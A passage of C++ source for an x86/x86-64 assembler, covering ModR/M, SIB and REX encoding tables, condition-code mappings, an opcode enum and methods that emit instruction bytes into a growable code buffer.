+ ECX*2^scale + disp] 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, // BINXD: [EAX..EDI + EDX*2^scale + disp] 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, // BINXD: [R8..R15 + EDX*2^scale + disp] 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, // BINXD: [EAX..EDI + EBX*2^scale + disp] 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, // BINXD: [R8..R15 + EBX*2^scale + disp] 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // BINXD: [EAX..EDI + ESP*2^scale + disp] 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // BINXD: [R8..R15 + ESP*2^scale + disp] 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, // BINXD: [EAX..EDI + EBP*2^scale + disp] 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, // BINXD: [R8..R15 + EBP*2^scale + disp] 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, // BINXD: [EAX..EDI + ESI*2^scale + disp] 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, // BINXD: [R8..R15 + ESI*2^scale + disp] 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, // BINXD: [EAX..EDI + EDI*2^scale + disp] 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, // BINXD: [R8..R15 + EDI*2^scale + disp] 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, // BINXD: [EAX..EDI + R8*2^scale + disp] 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, // BINXD: [R8..R15 + R8*2^scale + disp] 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, // BINXD: [EAX..EDI + R9*2^scale + disp] 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, // BINXD: [R8..R15 + R9*2^scale + disp] 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, // BINXD: [EAX..EDI + R10*2^scale + disp] 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, // BINXD: [R8..R15 + R10*2^scale + disp] 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, // BINXD: [EAX..EDI + R11*2^scale + disp] 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, // BINXD: [R8..R15 + R11*2^scale + disp] 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, // BINXD: [EAX..EDI + R12*2^scale + disp] 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, // BINXD: [R8..R15 + R12*2^scale + disp] 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, // BINXD: [EAX..EDI + R13*2^scale + disp] 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, // BINXD: [R8..R15 + R13*2^scale + disp] 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, // BINXD: [EAX..EDI + R14*2^scale + disp] 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, // BINXD: [R8..R15 + R14*2^scale + disp] 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, // BINXD: [EAX..EDI + R15*2^scale + disp] 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, // BINXD: [R8..R15 + R15*2^scale + disp] 0xFF, 0xFF, 0xFF, 0xFF // ABS, IMM, FST, CC }; // Addressing mode encoding table containing the low 2 bits of the REX prefix // 0xFF means illegal addressing mode static const int8 rex_xb[AM_LAST + 1] = { // EAX ECX EDX EBX ESP EBP ESI EDI // R8 R9 R10 R11 R12 R13 R14 R15 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // EAX..EDI 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // R8..R15 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, // INDIR: [EAX..EDI] 0x01, 0x01, 0x01, 0x01, 0x01, 0xFF, 0x01, 0x01, // INDIR: [R8..R15] 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // BASED: [EAX..EDI + disp] 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // BASED: [R8..R15 + disp] 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, // INXD: [EAX..EDI*2^scale + disp] 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // INXD: [R8..R15*2^scale + disp] 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // BINXD: [EAX..EDI + EAX*2^scale + disp] 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // BINXD: [R8..R15 + EAX*2^scale + disp] 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // BINXD: [EAX..EDI + ECX*2^scale + disp] 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // BINXD: [R8..R15 + ECX*2^scale + disp] 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // BINXD: [EAX..EDI + EDX*2^scale + disp] 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // BINXD: [R8..R15 + EDX*2^scale + disp] 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // BINXD: [EAX..EDI + EBX*2^scale + disp] 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // BINXD: [R8..R15 + EBX*2^scale + disp] 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // BINXD: [EAX..EDI + ESP*2^scale + disp] 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // BINXD: [R8..R15 + ESP*2^scale + disp] 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // BINXD: [EAX..EDI + EBP*2^scale + disp] 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // BINXD: [R8..R15 + EBP*2^scale + disp] 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // BINXD: [EAX..EDI + ESI*2^scale + disp] 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // BINXD: [R8..R15 + ESI*2^scale + disp] 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // BINXD: [EAX..EDI + EDI*2^scale + disp] 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // BINXD: [R8..R15 + EDI*2^scale + disp] 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, // BINXD: [EAX..EDI + R8*2^scale + disp] 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, // BINXD: [R8..R15 + R8*2^scale + disp] 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, // BINXD: [EAX..EDI + R9*2^scale + disp] 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, // BINXD: [R8..R15 + R9*2^scale + disp] 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, // BINXD: [EAX..EDI + R10*2^scale + disp] 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, // BINXD: [R8..R15 + R10*2^scale + disp] 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, // BINXD: [EAX..EDI + R11*2^scale + disp] 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, // BINXD: [R8..R15 + R11*2^scale + disp] 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, // BINXD: [EAX..EDI + R12*2^scale + disp] 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, // BINXD: [R8..R15 + R12*2^scale + disp] 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, // BINXD: [EAX..EDI + R13*2^scale + disp] 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, // BINXD: [R8..R15 + R13*2^scale + disp] 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, // BINXD: [EAX..EDI + R14*2^scale + disp] 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, // BINXD: [R8..R15 + R14*2^scale + disp] 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, // BINXD: [EAX..EDI + R15*2^scale + disp] 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, // BINXD: [R8..R15 + R15*2^scale + disp] 0x00, 0x00, 0x00, 0x00 // ABS, IMM, FST, CC }; // Condition code mapping for comparing swapped operands static const CondCode swapCC[] = { CC_O, // CC_O CC_NO, // CC_NO CC_A, // CC_B CC_BE, // CC_AE CC_E, // CC_E CC_NE, // CC_NE CC_AE, // CC_BE CC_B, // CC_A CC_S, // CC_S CC_NS, // CC_NS CC_PE, // CC_PE CC_PO, // CC_PO CC_G, // CC_L CC_LE, // CC_GE CC_GE, // CC_LE CC_L, // CC_G CC_FALSE, // CC_FALSE CC_TRUE, // CC_TRUE }; CondCode SwapCC(CondCode cc) { assert(CC_O <= cc && cc <= CC_TRUE); return swapCC[cc]; } // Condition code mapping for negated comparison of operands CondCode NegateCC(CondCode cc) { assert(CC_O <= cc && cc <= CC_TRUE); return static_cast<CondCode>(cc ^ 1); // no mapping table needed } // Condition code mapping for comparing unsigned operands static const CondCode xsgnCC[] = { CC_O, // CC_O CC_NO, // CC_NO CC_L, // CC_B CC_GE, // CC_AE CC_E, // CC_E CC_NE, // CC_NE CC_LE, // CC_BE CC_G, // CC_A CC_S, // CC_S CC_NS, // CC_NS CC_PE, // CC_PE CC_PO, // CC_PO CC_B, // CC_L CC_AE, // CC_GE CC_BE, // CC_LE CC_A, // CC_G CC_FALSE, // CC_FALSE CC_TRUE, // CC_TRUE }; CondCode XsignCC(CondCode cc) { assert(CC_O <= cc && cc <= CC_TRUE); return xsgnCC[cc]; } // Condition code mapping for comparing higher part of long operands static const CondCode highCC[] = { CC_O, // CC_O CC_NO, // CC_NO CC_B, // CC_B CC_A, // CC_AE CC_NE, // CC_E CC_NE, // CC_NE CC_B, // CC_BE CC_A, // CC_A CC_S, // CC_S CC_NS, // CC_NS CC_PE, // CC_PE CC_PO, // CC_PO CC_L, // CC_L CC_G, // CC_GE CC_L, // CC_LE CC_G, // CC_G CC_FALSE, // CC_FALSE CC_TRUE, // CC_TRUE }; CondCode HighCC(CondCode cc) { assert(CC_O <= cc && cc <= CC_TRUE); return highCC[cc]; } Assembler::Assembler() { // setup code buffer // (allocated and grown on demand) code_buffer_ = NULL; code_limit_ = NULL; emit_pos_ = NULL; dead_code_ = false; esp_offset_ = 0; } // x86 opcodes // A name with a trailing underscore denotes the first byte of the opcode // A name with a leading underscore denotes the second byte of the opcode // This enum is far from complete, feel free to add opcodes as needed // Note that we use the name of widest encodable operand in the Opcode names, // e.g. the r/m64 operand is actually 32-bit wide in 32-bit mode, // rax means eax in 32-bit mode, etc... (64-bit floating point operands are // really 64-bit wide, also in 32-bit mode). enum Opcode { OPNDSIZE = 0x66, // opnd size prefix REX = 0x40, // rex prefix in 64-bit mode REX_B = 1, // rex B bit mask REX_X = 2, // rex X bit mask REX_R = 4, // rex R bit mask REX_W = 8, // rex W bit mask ADC_r_rm = 0x12, // adc r,r/m ADC_rm_i_ = 0x80, // 1st byte adc r/m,imm _ADC_rm_i = 0x10, // 2nd byte adc r/m,imm ADD_AL_i8 = 0x04, // add al,imm8 ADD_RAX_i32 = 0x05, // add rax,imm32 ADD_r_rm = 0x02, // add r,r/m ADD_rm_i_ = 0x80, // 1st byte add r/m,imm _ADD_rm_i = 0x00, // 2nd byte add r/m,imm ADD_rm64_i32_ = 0x81, // 1st byte add r/m64,imm32 _ADD_rm64_i32 = 0x00, // 2nd byte add r/m64,imm32 ADD_rm64_i8_ = 0x83, // 1st byte add r/m64,imm8 _ADD_rm64_i8 = 0x00, // 2nd byte add r/m64,imm8 ADD_rm_r = 0x00, // add r/m,r AND_r_rm = 0x22, // and r,r/m AND_rm_i_ = 0x80, // 1st byte and r/m,imm _AND_rm_i = 0x20, // 2nd byte and r/m,imm AND_rm_r = 0x20, // and r/m,r CALL_rel32 = 0xE8, // call rel32 CALL_rm_ = 0xFF, // 1st byte call r/m _CALL_rm = 0x10, // 2nd byte call r/m CBW = 0x98, // cbw CDQ = 0x99, // cdq CMPSB = 0xA6, // cmpsb CMP_A_i = 0x3C, // cmp a,imm CMP_r_rm = 0x3A, // cmp r,r/m CMP_rm_i_ = 0x80, // 1st byte cmp r/m,imm _CMP_rm_i = 0x38, // 2nd byte cmp r/m,imm CWD = 0x99, // cwd DEC_r32 = 0x48, // dec r32, not valid in 64-bit mode DEC_rm_ = 0xFE, // 1st byte dec r/m _DEC_rm = 0x08, // 2nd byte dec r/m DIV_rm_ = 0xF6, // 1st byte div rdx:rax,r/m _DIV_rm = 0x30, // 2nd byte div rdx:rax,r/m FABS_ = 0xD9, // 1st byte fabs _FABS = 0xE1, // 2nd byte fabs FADD_m32_ = 0xD8, // 1st byte fadd m32 FADD_m64_ = 0xDC, // 1st byte fadd m64 _FADD_m = 0x00, // 2nd byte fadd m32/64 FADDP_ = 0xDE, // 1st byte faddp _FADDP = 0xC1, // 2nd byte faddp FCHS_ = 0xD9, // 1st byte fchs _FCHS = 0xE0, // 2nd byte fchs FCOMP_m32_ = 0xD8, // 1st byte fcomp m32 FCOMP_m64_ = 0xDC, // 1st byte fcomp m64 _FCOMP_m = 0x18, // 2nd byte fcomp m32/64 FDIVP_ = 0xDE, // 1st byte fdivp _FDIVP = 0xF9, // 2nd byte fdivp FDIV_m32_ = 0xD8, // 1st byte fdiv m32 FDIV_m64_ = 0xDC, // 1st byte fdiv m64 _FDIV_m = 0x30, // 2nd byte fdiv m32/64 FDIVRP_ = 0xDE, // 1st byte fdivrp _FDIVRP = 0xF1, // 2nd byte fdivrp FDIVR_m32_ = 0xD8, // 1st byte fdivr m32 FDIVR_m64_ = 0xDC, // 1st byte fdivr m64 _FDIVR_m = 0x38, // 2nd byte fdivr m32/64 FILD_m32int_ = 0xDB, // 1st byte fild m32int _FILD_m32int = 0x00, // 2nd byte fild m32int FILD_m64int_ = 0xDF, // 1st byte fild m64int _FILD_m64int = 0x28, // 2nd byte fild m64int FLD1_ = 0xD9, // 1st byte fld1 _FLD1 = 0xE8, // 2nd byte fld1 FLDZ_ = 0xD9, // 1st byte fldz _FLDZ = 0xEE, // 2nd byte fldz FLD_m32_ = 0xD9, // 1st byte fld m32 FLD_m64_ = 0xDD, // 1st byte fld m64 _FLD_m = 0x00, // 2nd byte fld m32/64 FMULP_ = 0xDE, // 1st byte fmulp _FMULP = 0xC9, // 2nd byte fmulp FMUL_m32_ = 0xD8, // 1st byte fmul m32 FMUL_m64_ = 0xDC, // 1st byte fmul m64 _FMUL_m = 0x08, // 2nd byte fmul m32/64 FST_m32_ = 0xD9, // 1st byte fst m32 FST_m64_ = 0xDD, // 1st byte fst m64 _FST_m = 0x10, // 2nd byte fst m32/64 FSTP_m32_ = 0xD9, // 1st byte fstp m32 FSTP_m64_ = 0xDD, // 1st byte fstp m64 _FSTP_m = 0x18, // 2nd byte fstp m32/64 FSUBP_ = 0xDE, // 1st byte fsubp _FSUBP = 0xE9, // 2nd byte fsubp FSUB_m32_ = 0xD8, // 1st byte fsub m32 FSUB_m64_ = 0xDC, // 1st byte fsub m64 _FSUB_m = 0x20, // 2nd byte fsub m32/64 FSUBRP_ = 0xDE, // 1st byte fsubrp _FSUBRP = 0xE1, // 2nd byte fsubrp FSUBR_m32_ = 0xD8, // 1st byte fsubr m32 FSUBR_m64_ = 0xDC, // 1st byte fsubr m64 _FSUBR_m = 0x28, // 2nd byte fsubr m32/64 FWAIT = 0x9B, // fwait FXCH_ = 0xD9, // 1st byte fxch st(0) st(1) _FXCH = 0xC9, // 2nd byte fxch st(0) st(1) IDIV_rm_ = 0xF6, // 1st byte idiv rdx:rax,r/m _IDIV_rm = 0x38, // 2nd byte idiv rdx:rax,r/m IMUL_r_rm_ = 0x0F, // 1st byte imul r,r/m _IMUL_r_rm = 0xAF, // 2nd byte imul r,r/m IMUL_r_rm_i32 = 0x69, // imul r,r/m,imm32 IMUL_r_rm_i8 = 0x6B, // imul r,r/m,imm8 IMUL_rm_ = 0xF6, // 1st byte imul rdx:rax,r/m _IMUL_rm = 0x28, // 2nd byte imul rdx:rax,r/m INC_r32 = 0x40, // inc r32, not valid in 64-bit mode INC_rm_ = 0xFE, // 1st byte inc r/m _INC_rm = 0x00, // 2nd byte inc r/m INT_3 = 0xCC, // int 3 JMP_rel32 = 0xE9, // jmp rel32 JMP_rel8 = 0xEB, // jmp rel8 JMP_rm_ = 0xFF, // 1st byte jmp r/m, no prefix in 64-bit mode _JMP_rm = 0x20, // 2nd byte jmp r/m Jcc_rel8 = 0x70, // jcc rel8 Jcc_rel32_ = 0x0F, // 1st byte jcc rel32 _Jcc_rel32 = 0x80, // 2nd byte jcc rel32 LEA_r_m = 0x8D, // lea r,m LEAVE = 0xC9, // leave MOVSB = 0xA4, // movsb MOVSD = 0xA5, // movsd MOV_A_m = 0xA0, // mov a,m MOV_m_A = 0xA2, // mov m,a MOV_r_i = 0xB0, // mov r,imm MOV_r64_i64 = 0xB8, // mov r64,imm64 MOV_r64_rm64 = 0x8B, // mov r64,r/m64 MOV_r_rm = 0x8A, // mov r,r/m MOV_rm_i_ = 0xC6, // 1st byte mov r/m,imm _MOV_rm_i = 0x00, // 2nd byte mov r/m,imm MOV_rm64_i32_ = 0xC7, // 1st byte mov r/m64,imm32 _MOV_rm64_i32 = 0x00, // 2nd byte mov r/m64,imm32 MOV_rm_r = 0x88, // mov r/m,r NOP = 0x90, // nop NEG_rm_ = 0xF6, // 1st byte neg r/m _NEG_rm = 0x18, // 2nd byte neg r/m NOT_rm_ = 0xF6, // 1st byte not r/m _NOT_rm = 0x10, // 2nd byte not r/m OR_r_rm = 0x0A, // or r,r/m OR_rm_i_ = 0x80, // 1st byte or r/m,imm _OR_rm_i = 0x08, // 2nd byte or r/m,imm OR_rm_i8_ = 0x83, // 1st byte or r/m,imm8 _OR_rm_i8 = 0x08, // 2nd byte or r/m,imm8 OR_rm_r = 0x08, // or r/m,r POPFD = 0x9D, // popfd POP_m_ = 0x8F, // 1st byte pop m, no prefix in 64-bit mode _POP_m = 0x00, // 2nd byte pop m POP_r = 0x58, // pop r32, no prefix in 64-bit mode PUSHFD = 0x9C, // pushfd, no prefix in 64-bit mode PUSH_i32 = 0x68, // push imm32, signed extended to stack width PUSH_i8 = 0x6A, // push imm8, signed extended to stack width PUSH_r = 0x50, // push r, no prefix in 64-bit mode PUSH_rm_ = 0xFF, // 1st byte push r/m, no prefix in 64-bit mode _PUSH_rm = 0x30, // 2nd byte push r/m REP = 0xF3, // rep REPE = 0xF3, // repe REPNE = 0xF2, // repne RET = 0xC3, // ret RET_i16 = 0xC2, // ret imm16 SAHF = 0x9E, // sahf SAR_rm_ = 0xD0, // 1st byte of sar r/m,1 _SAR_rm = 0x38, // 2nd byte of sar r/m,1 SAR_rm_i8_ = 0xC0, // 1st byte of sar r/m,imm8 _SAR_rm_i8 = 0x38, // 2nd byte of sar r/m,imm8 SBB_r_rm = 0x1A, // sbb r,r/m _SBB_rm_i = 0x18, // 2nd byte sbb r/m,imm _SETcc_rm8 = 0x90, // 2nd byte of setcc SHL_rm_ = 0xD0, // 1st byte of shl r/m,1 _SHL_rm = 0x20, // 2nd byte of shl r/m,1 SHL_rm_i8_ = 0xC0, // 1st byte of shl r/m,imm8 _SHL_rm_i8 = 0x20, // 2nd byte of shl r/m,imm8 SHR_rm_ = 0xD0, // 1st byte of shr r/m,1 _SHR_rm = 0x28, // 2nd byte of shr r/m,1 SHR_rm_i8_ = 0xC0, // 1st byte of shr r/m,imm8 _SHR_rm_i8 = 0x28, // 2nd byte of shr r/m,imm8 SUB_A_i = 0x2C, // sub al,imm8 SUB_r_rm = 0x2A, // sub r,r/m SUB_rm_i_ = 0x80, // 1st byte sub r/m,imm _SUB_rm_i = 0x28, // 2nd byte sub r/m,imm SUB_rm_r = 0x28, // sub r/m,r TEST_A_i = 0xA8, // test al,imm8 TEST_rm_i_ = 0xF6, // 1st byte test r/m,imm _TEST_rm_i = 0x00, // 2nd byte test r/m,imm TEST_rm_r = 0x84, // test r/m,r XCHG_RAX_r64 = 0x90, // xchg rax,r64 XCHG_r_rm = 0x86, // xchg r,r/m XOR_A_i = 0x34, // xor a,imm XOR_r_rm = 0x32, // xor r,r/m XOR_rm_i_ = 0x80, // 1st byte xor r/m,imm _XOR_rm_i = 0x30, // 2nd byte xor r/m,imm XOR_rm_r = 0x30, // xor r/m,r }; Assembler::~Assembler() { delete[] code_buffer_; // allocated via MakeSpace() } void Assembler::MakeSpace() { assert(sizeof(Instr) == 1); // otherwise fix the code below assert(emit_pos_ >= code_limit_); // otherwise should not call this // code buffer too small => double size Instr* old_buffer = code_buffer_; size_t buffer_size = 2 * (code_limit_ - code_buffer_); if (buffer_size == 0) buffer_size = 32 * 1024; // adjust as appropriate // add some extra space (+32): simplifies the space check // in EMIT_PROLOGUE and permits at least one emission code_buffer_ = new Instr[buffer_size + 32]; // explicitly deallocated CHECK(code_buffer_ != NULL) << "failed to allocate code buffer"; code_limit_ = code_buffer_ + buffer_size; // copy old code size_t code_size = emit_pos_ - old_buffer; memcpy(code_buffer_, old_buffer, code_size); emit_pos_ = code_buffer_ + code_size; // get rid of old buffer delete[] old_buffer; assert(emit_pos_ < code_limit_); } // Call this function to determine if code should be emitted. // Be careful to only disable actual code emission and not // any surrounding logic in order to preserve code generation // invariants. bool Assembler::emit_ok() { if (FLAGS_eliminate_dead_code && dead_code_) return false; if (emit_pos_ >= code_limit_) MakeSpace(); return true; } void Assembler::emit_int8(int8 x) { if (emit_ok()) Code::int8_at(emit_pos_) = x; } void Assembler::emit_int16(int16 x) { if (emit_ok()) Code::int16_at(emit_pos_) = x; } void Assembler::emit_int32(int32 x) { if (emit_ok()) Code::int32_at(emit_pos_) = x; } void Assembler::align_emit_offset() { // since profiling of native code is not supported, it is not necessary to // align native code, but this cannot hurt // not particularly fast, but doesn't really matter while (emit_offset() % CodeDesc::kAlignment != 0) Code::uint8_at(emit_pos_) = NOP; // do it even if !emit_ok() } int Assembler::EmitPrefixes(AddrMod reg3, AddrMod am, int size) { int rex_bits = rex_xb[am]; if (reg3 > 7) rex_bits |= REX_R; int size_bit; switch (size) { case 1: size_bit = 0; break; case 2: EmitByte(OPNDSIZE); // fall through case 4: size_bit = 1; break; case 8: size_bit = 1; rex_bits |= REX_W; break; default: size_bit = 0; assert(false); break; } if (rex_bits != 0) { // REX prefix is required assert(kEmit64); EmitByte(REX + rex_bits); } return size_bit; } void Assembler::EmitByte(int b) { emit_int8(implicit_cast<int8>(b)); } void Assembler::Emit2Bytes(int b1, int b2) { emit_int8(implicit_cast<int8>(b1)); emit_int8(implicit_cast<int8>(b2)); } void Assembler::Emit3Bytes(int b1, int b2, int b3) { emit_int8(implicit_cast<int8>(b1)); emit_int8(implicit_cast<int8>(b2)); emit_int8(implicit_cast<int8>(b3)); } void Assembler::EmitWord(int w) { emit_int16(implicit_cast<int16>(w)); } void Assembler::EmitDWord(int d) { emit_int32(implicit_cast<int32>(d)); } void Assembler::EmitByteDWord(int b1, int d2) { emit_int8(implicit_cast<int8>(b1)); emit_int32(implicit_cast<int32>(d2)); } void Assembler::Emit2BytesDWord(int b1, int b2, int d3) { emit_int8(implicit_cast<int8>(b1)); emit_int8(static_cast<int8>(b2)); emit_int32(implicit_cast<int32>(d3)); } // generate effective address void Assembler::EmitEA(int reg_op, const Operand* n) { // emit the ModR/M byte, SIB byte if necessary and the offset (no fixups). static const int modrm_mask = 0xC7; assert((reg_op & modrm_mask) == 0); AddrMod am = n->am; if (IsIntReg(am) || IsIndir(am)) { assert(n->size > 1 || IsByteReg(am)); if (am == AM_INDIR + AM_EBP || (kEmit64 && am == AM_INDIR + AM_R13)) // avoid special case encoding with R/M == 101 and Mod == 00: // [EBP] with no disp actually means [no base] + disp32 in 32-bit mode // and [RIP] + disp32 in 64-bit mode // so change into [EBP] + disp8, with disp8 == 0 // the same restriction applies to R13 Emit2Bytes(mod_rm[am] + reg_op + 0x40, 0); else EmitByte(mod_rm[am] + reg_op); } else if (am == AM_ABS) { if (kEmit64) { // AM_ABS should be used with caution in 64-bit mode, since only 32 bits // of the address can be encoded in the instruction (a few opcodes excepted) assert(IsDWordRange(n->offset)); // R/M == 101 and Mod == 00 means [RIP] + disp32 in 64-bit mode // use instead R/M == 100 (SIB present), Mod == 00, SIB == 00 100 101 Emit2BytesDWord(0x04 + reg_op, 0x25, n->offset); } else { EmitByteDWord(0x05 + reg_op, n->offset); } } else { assert(IsRelMem(am)); assert(IsDWordRange(n->offset)); int offs = n->offset; if (BaseReg(am) == AM_ESP) offs -= esp_offset_; if (offs == 0) { if (BaseReg(am) == AM_EBP || (kEmit64 && BaseReg(am) == AM_R13)) // avoid special case encoding with R/M == 101 and Mod == 00 reg_op += 0x40; // need 8 bit offset } else if (IsByteRange(offs)) { reg_op += 0x40; // need 8 bit offset } else { reg_op += 0x80; // need 32 bit offset } // if indexed with no scaling, but not based, // change to based and save a byte. if (IsIndexed(am) && n->scale == 0) { am = static_cast<AddrMod>(am - (AM_INXD - AM_BASED)); reg_op += 0x80; } reg_op += mod_rm[am]; int sib_byte = sib[am]; if ((sib_byte & 0x80) == 0) { // ModRM byte and SIB byte if (HasIndex(am)) Emit2Bytes(reg_op, (n->scale << 6) + sib_byte); else Emit2Bytes(reg_op, sib_byte); } else { // ModRM byte, no SIB byte EmitByte(reg_op); } if (reg_op & 0x40) EmitByte(offs); else if (reg_op & 0x80) EmitDWord(offs); } } void Assembler::EmitIndirEA(int b1, int b2, AddrMod base_reg, int off) { assert(IsIntReg(base_reg)); EmitByte(b1); b2 += mod_rm[AM_BASED + base_reg]; // avoid special case encoding with R/M == 101 and Mod == 00 if (off == 0 && !(base_reg == AM_EBP || (kEmit64 && base_reg == AM_R13))) ; // no disp else if (IsByteRange(off)) b2 += 0x40; // disp8 else b2 += 0x80; // disp32 int sib_byte = sib[AM_BASED + base_reg]; if ((sib_byte & 0x80) == 0) // ModRM byte and SIB byte Emit2Bytes(b2, sib_byte); else // ModRM byte, no SIB byte EmitByte(b2); if (b2 & 0x40) EmitByte(off); else if (b2 & 0x80) EmitDWord(off); // else no disp } void Assembler::OpSizeEA(int b1, int b2, const Operand* n) { int size_bit = EmitPrefixes(AM_NONE, n->am, n->size); EmitByte(b1 + size_bit); EmitEA(b2, n); } void Assembler::OpSizeReg(int b1, int b2, AddrMod reg, int size) { assert(IsIntReg(reg)); assert(size > 1 || IsByteReg(reg)); int size_bit = EmitPrefixes(AM_NONE, reg, size); Emit2Bytes(b1 + size_bit, b2 + mod_rm[reg]); } void Assembler::OpSizeRegEA(int op, AddrMod reg, const Operand* n) { assert(IsIntReg(reg)); assert(n->size > 1 || IsByteReg(reg)); int size_bit = EmitPrefixes(reg, n->am, n->size); EmitByte(op + size_bit); EmitEA(reg3_encoding[reg], n); } void Assembler::OpSizeRegReg(int op, AddrMod reg1, AddrMod reg2, int size) { assert(IsIntReg(reg1) && IsIntReg(reg2)); assert(size > 1 || (IsByteReg(reg1) && IsByteReg(reg2))); int size_bit = EmitPrefixes(reg1, reg2, size); Emit2Bytes(op + size_bit, reg3_encoding[reg1] + mod_rm[reg2]); } void Assembler::OpRegReg(int op, AddrMod reg1, AddrMod reg2) { assert(IsIntReg(reg1) && IsIntReg(reg2)); int size_bit = EmitPrefixes(reg1, reg2, sizeof(intptr_t)); Emit2Bytes(op + size_bit, reg3_encoding[reg1] + mod_rm[reg2]); } void Assembler::MoveRegReg(AddrMod dst_reg, AddrMod src_reg) { assert(IsIntReg(dst_reg) && IsIntReg(src_reg)); if (src_reg == dst_reg) // move to same reg, suppress return; OpRegReg(MOV_r_rm, dst_reg, src_reg); } void Assembler::AddImmReg(AddrMod dst_reg, int32 val) { assert(IsIntReg(dst_reg)); if (val == 0) return; if (dst_reg == AM_ESP) esp_offset_ += val; if (val == 1) { IncReg(dst_reg, sizeof(intptr_t)); } else if (val == -1) { DecReg(dst_reg, sizeof(intptr_t)); } else { EmitPrefixes(AM_NONE, dst_reg, sizeof(intptr_t)); if (IsByteRange(val)) Emit3Bytes(ADD_rm64_i8_, _ADD_rm64_i8 + mod_rm[dst_reg], val); else if (dst_reg == AM_EAX) EmitByteDWord(ADD_RAX_i32, val); else Emit2BytesDWord(ADD_rm64_i32_, _ADD_rm64_i32 + mod_rm[dst_reg], val); } } void Assembler::EmitImmVal(int32 val, int size) { switch (size) { case 1: EmitByte(val); break; case 2: EmitWord(val); break; case 8: assert(kEmit64); // fall through case 4: EmitDWord(val); break; default: assert(false); } } void Assembler::OpImmReg(int b1, int b2, AddrMod reg, int32 val, int size) { assert(IsIntReg(reg)); 